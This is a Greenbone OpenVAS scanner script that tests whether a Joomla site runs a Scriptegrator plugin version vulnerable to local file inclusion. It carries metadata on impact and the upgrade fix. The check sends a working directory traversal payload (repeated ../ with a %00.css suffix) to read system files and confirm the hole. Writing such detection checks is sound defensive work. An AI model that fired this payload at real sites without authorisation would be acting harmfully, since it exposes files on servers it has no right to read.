Joomla! Scriptegrator plugin Multiple Local File Inclusion Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_joomla_scriptegrator_plugin_lfi_vuln.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# Joomla! Scriptegrator plugin Multiple Local File Inclusion Vulnerabilities
#
# Authors:
# Veerendra G.G <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation could allow attackers to perform directory
traversal attacks and read arbitrary files on the affected application.

Impact Level: Application";

tag_affected = "Joomla! Scriptegrator plugin Version 1.5.5, Other versions may
also be affected.";

tag_insight = "The flaws are caused by improper validation of user-supplied input
via the multiple parameter to multiple files, which allows attackers to read
arbitrary files via a ../(dot dot) sequences.";

tag_solution = "Upgrade to Joomla! Scriptegrator plugin Version 2.0.9 or later.
For updates refer to
http://www.greatjoomla.com/extensions/plugins/core-design-scriptegrator-plugin.html";

tag_summary = "This host is installed Joomla! with Scriptegrator plugin and is
prone to multiple local file inclusion vulnerabilities.";

if(description)
{
  script_id(802026);
  script_version("$Revision: 7577 $");
  script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
  script_tag(name:"creation_date", value:"2011-06-17 11:16:31 +0200 (Fri, 17 Jun 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Joomla! Scriptegrator plugin Multiple Local File Inclusion Vulnerabilities");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/17394");
  script_xref(name : "URL" , value : "http://www.greatjoomla.com/extensions/plugins/core-design-scriptegrator-plugin.html");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/installed");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("version_func.inc");
include("http_keepalive.inc");

## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

## Get Joomla Directory
if(!dir = get_dir_from_kb(port:port,app:"joomla")) {
  exit(0);
}

## traversal_files() function Returns Dictionary (i.e key value pair)
## Get Content to be checked and file to be check
files = traversal_files();

foreach file (keys(files))
{
  ## Construct directory traversal attack
  url = string(dir, "/plugins/system/cdscriptegrator/libraries/highslide/" +
                  "css/cssloader.php?files[]=", crap(data:"../",length:3*15),
               files[file], "%00.css");
  ## Confirm exploit worked properly or not
  if(http_vuln_check(port:port, url:url, pattern:file))
  {
    security_message(port:port);
    exit(0);
  }
}